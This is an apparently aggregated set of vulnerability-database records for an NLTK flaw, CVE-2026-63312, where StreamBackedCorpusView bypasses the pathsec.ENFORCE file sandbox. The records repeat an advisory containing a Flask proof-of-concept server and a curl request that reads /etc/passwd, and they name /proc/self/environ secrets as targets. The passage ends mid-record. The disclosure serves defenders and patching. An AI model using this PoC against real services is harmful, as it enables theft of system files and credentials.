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PYSEC-2026-3730
Vulnerability from pysec - Published: 2026-08-22 15:16 - Updated: 2026-09-01 08:54
VLAI
Details
NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.
Severity
Impacted products
| Name | purl | nltk | pkg:pypi/nltk |
|---|
Aliases
{
"affected": [
{
"ecosystem_specific": {},
"package": {
"ecosystem": "PyPI",
"name": "nltk",
"purl": "pkg:pypi/nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.8",
"0.9",
"0.9.3",
"0.9.4",
"0.9.5",
"0.9.6",
"0.9.7",
"0.9.8",
"0.9.9",
"2.0.1",
"2.0.1rc1",
"2.0.1rc2-git",
"2.0.1rc3",
"2.0.1rc4",
"2.0.2",
"2.0.3",
"2.0.4",
"2.0.5",
"2.0b4",
"2.0b5",
"2.0b6",
"2.0b7",
"2.0b8",
"2.0b9",
"3.0.0",
"3.0.0b1",
"3.0.0b2",
"3.0.1",
"3.0.2",
"3.0.3",
"3.0.4",
"3.0.5",
"3.1",
"3.2",
"3.2.1",
"3.2.2",
"3.2.3",
"3.2.4",
"3.2.5",
"3.3",
"3.4",
"3.4.1",
"3.4.2",
"3.4.3",
"3.4.4",
"3.4.5",
"3.5",
"3.5b1",
"3.6",
"3.6.1",
"3.6.2",
"3.6.3",
"3.6.4",
"3.6.5",
"3.6.6",
"3.6.7",
"3.7",
"3.8",
"3.8.1",
"3.9",
"3.9.1",
"3.9.2",
"3.9.3",
"3.9.4",
"3.9b1"
]
}
],
"aliases": [
"CVE-2026-63312",
"GHSA-x5ph-mj9p-rfr8"
],
"details": "NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.",
"id": "PYSEC-2026-3730",
"modified": "2026-09-01T08:54:51.656941Z",
"published": "2026-08-22T15:16:19.367Z",
"references": [
{
"type": "ADVISORY",
"url": "https://www.vulncheck.com/advisories/nltk-streambackedcorpusview-bypasses-pathsec-enforce-arbitrary-file-read"
},
{
"type": "EVIDENCE",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-x5ph-mj9p-rfr8"
}
],
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
BREW-ACRONYM-CVE-2026-63312 (PYSEC-2026-3730)
Vulnerability from osv_homebrew – Published: 2026-09-02 08:43 – Updated: 2026-09-17 18:47 – Source website
VLAI
Summary
NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read
Details
Summary
Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validate_path() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.
Details
nltk/pathsec.py:274 defines the enforcement point:
def open(file, mode="r", **kwargs):
validate_path(file, context="pathsec.open")
return builtins.open(file, mode=mode, **kwargs)
StreamBackedCorpusView._open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:
# line 171 — no validate_path() call
self._eofpos = os.stat(self._fileid).st_size
# line 208 — calls builtins.open directly
self._stream = open(self._fileid, "rb")
Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.
PoC
# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass
from flask import Flask, request, jsonify
import nltk.pathsec as ps
from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block
# Strict mode enabled — expected to sandbox all file access
ps.ENFORCE = True
app = Flask(__name__)
@app.post("/read")
def read_file():
fname = request.json.get("file")
# fileid is user-controlled, passed directly to StreamBackedCorpusView
# pathsec.ENFORCE = True is ignored — builtins.open() called internally
view = StreamBackedCorpusView(fname, read_line_block, encoding="utf8")
return jsonify({"file": fname, "content": view[0]})
app.run(host="0.0.0.0", port=8000)
Trigger:
curl -s -X POST http://localhost:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "/etc/passwd"}'
Confirmed on latest stable NLTK. No privileges required.
Impact
- Type: Arbitrary Local File Read / Security Control Bypass
- CWE: CWE-22, CWE-284
- OWASP: A01:2021 – Broken Access Control
Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWS_SECRET_ACCESS_KEY, DATABASE_URL, etc.), and application config files.
The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.
Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validate_path().
Severity
References
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "nltk",
"resource_purl": "pkg:pypi/nltk@3.10.3",
"upstream_fixed_in": "3.10.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "acronym",
"purl": "pkg:brew/acronym"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.0_4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/nltk@3.10.3",
"name": "nltk",
"resource": "nltk",
"strategy": "registry",
"subject_version": "3.10.3"
}
]
},
"details": "## Summary\nSetting `nltk.pathsec.ENFORCE = True` is documented to sandbox all file access to allowed NLTK data directories and raise `PermissionError` on unauthorized access. However, `StreamBackedCorpusView` opens files via `builtins.open()` directly, bypassing `pathsec.validate_path()` entirely. An attacker who can influence the `fileid` argument can read arbitrary local files regardless of the `ENFORCE` setting.\n\n## Details\n`nltk/pathsec.py:274` defines the enforcement point:\n```python\ndef open(file, mode=\"r\", **kwargs):\n validate_path(file, context=\"pathsec.open\")\n return builtins.open(file, mode=mode, **kwargs)\n```\n\n`StreamBackedCorpusView._open()` in `nltk/corpus/reader/util.py` bypasses this entirely for string paths:\n\n```python\n# line 171 \u2014 no validate_path() call\nself._eofpos = os.stat(self._fileid).st_size\n\n# line 208 \u2014 calls builtins.open directly\nself._stream = open(self._fileid, \"rb\")\n```\n\nAlso affected: `XMLCorpusView` and any corpus reader subclass that passes a raw string `fileid` to `StreamBackedCorpusView`.\n\n## PoC\n```python\n# poc_server.py \u2014 StreamBackedCorpusView pathsec.ENFORCE bypass\nfrom flask import Flask, request, jsonify\nimport nltk.pathsec as ps\nfrom nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block\n\n# Strict mode enabled \u2014 expected to sandbox all file access\nps.ENFORCE = True\n\napp = Flask(__name__)\n\n@app.post(\"/read\")\ndef read_file():\n fname = request.json.get(\"file\")\n # fileid is user-controlled, passed directly to StreamBackedCorpusView\n # pathsec.ENFORCE = True is ignored \u2014 builtins.open() called internally\n view = StreamBackedCorpusView(fname, read_line_block, encoding=\"utf8\")\n return jsonify({\"file\": fname, \"content\": view[0]})\n\napp.run(host=\"0.0.0.0\", port=8000)\n```\nTrigger:\n```\ncurl -s -X POST http://localhost:8000/read \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"file\": \"/etc/passwd\"}\u0027\n```\nConfirmed on latest stable NLTK. No privileges required.\n\n## Impact\n- **Type:** Arbitrary Local File Read / Security Control Bypass\n- **CWE:** CWE-22, CWE-284\n- **OWASP:** A01:2021 \u2013 Broken Access Control\n\nAffects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the `fileid` passed to NLTK corpus readers. Sensitive targets include `/etc/passwd`, `/proc/self/environ` (may contain `AWS_SECRET_ACCESS_KEY`, `DATABASE_URL`, etc.), and application config files.\n\nThe core issue is that operators who explicitly set `ENFORCE = True` to harden production deployments are left with a **false security guarantee**.\n\n**Suggested fix:** Replace `builtins.open()` and `os.stat()` in the string-path branch with `nltk.pathsec.open()` and `nltk.pathsec.validate_path()`.",
"id": "BREW-acronym-CVE-2026-63312",
"modified": "2026-09-17T18:47:55Z",
"published": "2026-09-02T08:43:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-x5ph-mj9p-rfr8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63312"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3588"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/674ea75accdf08eca3782dee0a9c4ed7e0d0025b"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3730.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-streambackedcorpusview-bypasses-pathsec-enforce-arbitrary-file-read"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read",
"upstream": [
"PYSEC-2026-3730",
"CVE-2026-63312",
"GHSA-x5ph-mj9p-rfr8"
]
}
BREW-GPTLINE-CVE-2026-63312 (PYSEC-2026-3730)
Vulnerability from osv_homebrew – Published: 2026-09-02 09:04 – Updated: 2026-09-17 19:32 – Source website
VLAI
Summary
NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read
Details
Summary
Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validate_path() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.
Details
nltk/pathsec.py:274 defines the enforcement point:
def open(file, mode="r", **kwargs):
validate_path(file, context="pathsec.open")
return builtins.open(file, mode=mode, **kwargs)
StreamBackedCorpusView._open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:
# line 171 — no validate_path() call
self._eofpos = os.stat(self._fileid).st_size
# line 208 — calls builtins.open directly
self._stream = open(self._fileid, "rb")
Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.
PoC
# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass
from flask import Flask, request, jsonify
import nltk.pathsec as ps
from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block
# Strict mode enabled — expected to sandbox all file access
ps.ENFORCE = True
app = Flask(__name__)
@app.post("/read")
def read_file():
fname = request.json.get("file")
# fileid is user-controlled, passed directly to StreamBackedCorpusView
# pathsec.ENFORCE = True is ignored — builtins.open() called internally
view = StreamBackedCorpusView(fname, read_line_block, encoding="utf8")
return jsonify({"file": fname, "content": view[0]})
app.run(host="0.0.0.0", port=8000)
Trigger:
curl -s -X POST http://localhost:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "/etc/passwd"}'
Confirmed on latest stable NLTK. No privileges required.
Impact
- Type: Arbitrary Local File Read / Security Control Bypass
- CWE: CWE-22, CWE-284
- OWASP: A01:2021 – Broken Access Control
Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWS_SECRET_ACCESS_KEY, DATABASE_URL, etc.), and application config files.
The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.
Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validate_path().
Severity
References
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "nltk",
"resource_purl": "pkg:pypi/nltk@3.10.3",
"upstream_fixed_in": "3.10.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "gptline",
"purl": "pkg:brew/gptline"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.8"
},
{
"fixed": "1.0.8_22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/nltk@3.10.3",
"name": "nltk",
"resource": "nltk",
"strategy": "registry",
"subject_version": "3.10.3"
}
]
},
"details": "## Summary\nSetting `nltk.pathsec.ENFORCE = True` is documented to sandbox all file access to allowed NLTK data directories and raise `PermissionError` on unauthorized access. However, `StreamBackedCorpusView` opens files via `builtins.open()` directly, bypassing `pathsec.validate_path()` entirely. An attacker who can influence the `fileid` argument can read arbitrary local files regardless of the `ENFORCE` setting.\n\n## Details\n`nltk/pathsec.py:274` defines the enforcement point:\n```python\ndef open(file, mode=\"r\", **kwargs):\n validate_path(file, context=\"pathsec.open\")\n return builtins.open(file, mode=mode, **kwargs)\n```\n\n`StreamBackedCorpusView._open()` in `nltk/corpus/reader/util.py` bypasses this entirely for string paths:\n\n```python\n# line 171 \u2014 no validate_path() call\nself._eofpos = os.stat(self._fileid).st_size\n\n# line 208 \u2014 calls builtins.open directly\nself._stream = open(self._fileid, \"rb\")\n```\n\nAlso affected: `XMLCorpusView` and any corpus reader subclass that passes a raw string `fileid` to `StreamBackedCorpusView`.\n\n## PoC\n```python\n# poc_server.py \u2014 StreamBackedCorpusView pathsec.ENFORCE bypass\nfrom flask import Flask, request, jsonify\nimport nltk.pathsec as ps\nfrom nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block\n\n# Strict mode enabled \u2014 expected to sandbox all file access\nps.ENFORCE = True\n\napp = Flask(__name__)\n\n@app.post(\"/read\")\ndef read_file():\n fname = request.json.get(\"file\")\n # fileid is user-controlled, passed directly to StreamBackedCorpusView\n # pathsec.ENFORCE = True is ignored \u2014 builtins.open() called internally\n view = StreamBackedCorpusView(fname, read_line_block, encoding=\"utf8\")\n return jsonify({\"file\": fname, \"content\": view[0]})\n\napp.run(host=\"0.0.0.0\", port=8000)\n```\nTrigger:\n```\ncurl -s -X POST http://localhost:8000/read \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"file\": \"/etc/passwd\"}\u0027\n```\nConfirmed on latest stable NLTK. No privileges required.\n\n## Impact\n- **Type:** Arbitrary Local File Read / Security Control Bypass\n- **CWE:** CWE-22, CWE-284\n- **OWASP:** A01:2021 \u2013 Broken Access Control\n\nAffects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the `fileid` passed to NLTK corpus readers. Sensitive targets include `/etc/passwd`, `/proc/self/environ` (may contain `AWS_SECRET_ACCESS_KEY`, `DATABASE_URL`, etc.), and application config files.\n\nThe core issue is that operators who explicitly set `ENFORCE = True` to harden production deployments are left with a **false security guarantee**.\n\n**Suggested fix:** Replace `builtins.open()` and `os.stat()` in the string-path branch with `nltk.pathsec.open()` and `nltk.pathsec.validate_path()`.",
"id": "BREW-gptline-CVE-2026-63312",
"modified": "2026-09-17T19:32:01Z",
"published": "2026-09-02T09:04:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-x5ph-mj9p-rfr8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63312"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3588"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/674ea75accdf08eca3782dee0a9c4ed7e0d0025b"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3730.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-streambackedcorpusview-bypasses-pathsec-enforce-arbitrary-file-read"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read",
"upstream": [
"PYSEC-2026-3730",
"CVE-2026-63312",
"GHSA-x5ph-mj9p-rfr8"
]
}
BREW-SAFETY-CVE-2026-63312 (PYSEC-2026-3730)
Vulnerability from osv_homebrew – Published: 2026-09-02 09:53 – Updated: 2026-09-17 17:35 – Source website
VLAI
Summary
NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read
Details
Summary
Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validate_path() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.
Details
nltk/pathsec.py:274 defines the enforcement point:
def open(file, mode="r", **kwargs):
validate_path(file, context="pathsec.open")
return builtins.open(file, mode=mode, **kwargs)
StreamBackedCorpusView._open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:
# line 171 — no validate_path() call
self._eofpos = os.stat(self._fileid).st_size
# line 208 — calls builtins.open directly
self._stream = open(self._fileid, "rb")
Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.
PoC
# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass
from flask import Flask, request, jsonify
import nltk.pathsec as ps
from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block
# Strict mode enabled — expected to sandbox all file access
ps.ENFORCE = True
app = Flask(__name__)
@app.post("/read")
def read_file():
fname = request.json.get("file")
# fileid is user-controlled, passed directly to StreamBackedCorpusView
# pathsec.ENFORCE = True is ignored — builtins.open() called internally
view = StreamBackedCorpusView(fname, read_line_block, encoding="utf8")
return jsonify({"file": fname, "content": view[0]})
app.run(host="0.0.0.0", port=8000)
Trigger:
curl -s -X POST http://localhost:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "/etc/passwd"}'
Confirmed on latest stable NLTK. No privileges required.
Impact
- Type: Arbitrary Local File Read / Security Control Bypass
- CWE: CWE-22, CWE-284
- OWASP: A01:2021 – Broken Access Control
Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWS_SECRET_ACCESS_KEY, DATABASE_URL, etc.), and application config files.
The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.
Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validate_path().
Severity
References
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "nltk",
"resource_purl": "pkg:pypi/nltk@3.10.3",
"upstream_fixed_in": "3.10.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "safety",
"purl": "pkg:brew/safety"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.1"
},
{
"fixed": "3.8.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/nltk@3.10.3",
"name": "nltk",
"resource": "nltk",
"strategy": "registry",
"subject_version": "3.10.3"
}
]
},
"details": "## Summary\nSetting `nltk.pathsec.ENFORCE = True` is documented to sandbox all file access to allowed NLTK data directories and raise `PermissionError` on unauthorized access. However, `StreamBackedCorpusView` opens files via `builtins.open()` directly, bypassing `pathsec.validate_path()` entirely. An attacker who can influence the `fileid` argument can read arbitrary local files regardless of the `ENFORCE` setting.\n\n## Details\n`nltk/pathsec.py:274` defines the enforcement point:\n```python\ndef open(file, mode=\"r\", **kwargs):\n validate_path(file, context=\"pathsec.open\")\n return builtins.open(file, mode=mode, **kwargs)\n```\n\n`StreamBackedCorpusView._open()` in `nltk/corpus/reader/util.py` bypasses this entirely for string paths:\n\n```python\n# line 171 \u2014 no validate_path() call\nself._eofpos = os.stat(self._fileid).st_size\n\n# line 208 \u2014 calls builtins.open directly\nself._stream = open(self._fileid, \"rb\")\n```\n\nAlso affected: `XMLCorpusView` and any corpus reader subclass that passes a raw string `fileid` to `StreamBackedCorpusView`.\n\n## PoC\n```python\n# poc_server.py \u2014 StreamBackedCorpusView pathsec.ENFORCE bypass\nfrom flask import Flask, request, jsonify\nimport nltk.pathsec as ps\nfrom nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block\n\n# Strict mode enabled \u2014 expected to sandbox all file access\nps.ENFORCE = True\n\napp = Flask(__name__)\n\n@app.post(\"/read\")\ndef read_file():\n fname = request.json.get(\"file\")\n # fileid is user-controlled, passed directly to StreamBackedCorpusView\n # pathsec.ENFORCE = True is ignored \u2014 builtins.open() called internally\n view = StreamBackedCorpusView(fname, read_line_block, encoding=\"utf8\")\n return jsonify({\"file\": fname, \"content\": view[0]})\n\napp.run(host=\"0.0.0.0\", port=8000)\n```\nTrigger:\n```\ncurl -s -X POST http://localhost:8000/read \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"file\": \"/etc/passwd\"}\u0027\n```\nConfirmed on latest stable NLTK. No privileges required.\n\n## Impact\n- **Type:** Arbitrary Local File Read / Security Control Bypass\n- **CWE:** CWE-22, CWE-284\n- **OWASP:** A01:2021 \u2013 Broken Access Control\n\nAffects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the `fileid` passed to NLTK corpus readers. Sensitive targets include `/etc/passwd`, `/proc/self/environ` (may contain `AWS_SECRET_ACCESS_KEY`, `DATABASE_URL`, etc.), and application config files.\n\nThe core issue is that operators who explicitly set `ENFORCE = True` to harden production deployments are left with a **false security guarantee**.\n\n**Suggested fix:** Replace `builtins.open()` and `os.stat()` in the string-path branch with `nltk.pathsec.open()` and `nltk.pathsec.validate_path()`.",
"id": "BREW-safety-CVE-2026-63312",
"modified": "2026-09-17T17:35:56Z",
"published": "2026-09-02T09:53:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-x5ph-mj9p-rfr8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63312"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3588"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/674ea75accdf08eca3782dee0a9c4ed7e0d0025b"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3730.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-streambackedcorpusview-bypasses-pathsec-enforce-arbitrary-file-read"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read",
"upstream": [
"PYSEC-2026-3730",
"CVE-2026-63312",
"GHSA-x5ph-mj9p-rfr8"
]
}
CVE-2026-63312 (GCVE-0-2026-63312)
Vulnerability from cvelistv5 – Published: 2026-08-22 14:12 – Updated: 2026-08-24 18:34
VLAI
EPSS
VEX
Title
NLTK StreamBackedCorpusView Bypasses pathsec.ENFORCE Arbitrary File Read
Summary
NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.
Severity
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-24 18:34 UTC
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/nltk/nltk/security/advisories/… | vendor-advisory |
| https://www.vulncheck.com/advisories/nltk-streamb… | third-party-advisory |
Impacted products
Date Public
2026-08-07 00:00
Credits
{
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"datePublished": "2026-08-22T14:12:40.731Z",
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GHSA-X5PH-MJ9P-RFR8
Vulnerability from github – Published: 2026-09-08 15:27 – Updated: 2026-09-08 15:27
VLAI
Summary
NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read
Details
Summary
Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validate_path() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.
Details
nltk/pathsec.py:274 defines the enforcement point:
def open(file, mode="r", **kwargs):
validate_path(file, context="pathsec.open")
return builtins.open(file, mode=mode, **kwargs)
StreamBackedCorpusView._open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:
# line 171 — no validate_path() call
self._eofpos = os.stat(self._fileid).st_size
# line 208 — calls builtins.open directly
self._stream = open(self._fileid, "rb")
Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.
PoC
# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass
from flask import Flask, request, jsonify
import nltk.pathsec as ps
from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block
# Strict mode enabled — expected to sandbox all file access
ps.ENFORCE = True
app = Flask(__name__)
@app.post("/read")
def read_file():
fname = request.json.get("file")
# fileid is user-controlled, passed directly to StreamBackedCorpusView
# pathsec.ENFORCE = True is ignored — builtins.open() called internally
view = StreamBackedCorpusView(fname, read_line_block, encoding="utf8")
return jsonify({"file": fname, "content": view[0]})
app.run(host="0.0.0.0", port=8000)
Trigger:
curl -s -X POST http://localhost:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "/etc/passwd"}'
Confirmed on latest stable NLTK. No privileges required.
Impact
- Type: Arbitrary Local File Read / Security Control Bypass
- CWE: CWE-22, CWE-284
- OWASP: A01:2021 – Broken Access Control
Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWS_SECRET_ACCESS_KEY, DATABASE_URL, etc.), and application config files.
The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.
Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validate_path().
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.9.4"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63312"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T15:27:32Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nSetting `nltk.pathsec.ENFORCE = True` is documented to sandbox all file access to allowed NLTK data directories and raise `PermissionError` on unauthorized access. However, `StreamBackedCorpusView` opens files via `builtins.open()` directly, bypassing `pathsec.validate_path()` entirely. An attacker who can influence the `fileid` argument can read arbitrary local files regardless of the `ENFORCE` setting.\n\n## Details\n`nltk/pathsec.py:274` defines the enforcement point:\n```python\ndef open(file, mode=\"r\", **kwargs):\n validate_path(file, context=\"pathsec.open\")\n return builtins.open(file, mode=mode, **kwargs)\n```\n\n`StreamBackedCorpusView._open()` in `nltk/corpus/reader/util.py` bypasses this entirely for string paths:\n\n```python\n# line 171 \u2014 no validate_path() call\nself._eofpos = os.stat(self._fileid).st_size\n\n# line 208 \u2014 calls builtins.open directly\nself._stream = open(self._fileid, \"rb\")\n```\n\nAlso affected: `XMLCorpusView` and any corpus reader subclass that passes a raw string `fileid` to `StreamBackedCorpusView`.\n\n## PoC\n```python\n# poc_server.py \u2014 StreamBackedCorpusView pathsec.ENFORCE bypass\nfrom flask import Flask, request, jsonify\nimport nltk.pathsec as ps\nfrom nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block\n\n# Strict mode enabled \u2014 expected to sandbox all file access\nps.ENFORCE = True\n\napp = Flask(__name__)\n\n@app.post(\"/read\")\ndef read_file():\n fname = request.json.get(\"file\")\n # fileid is user-controlled, passed directly to StreamBackedCorpusView\n # pathsec.ENFORCE = True is 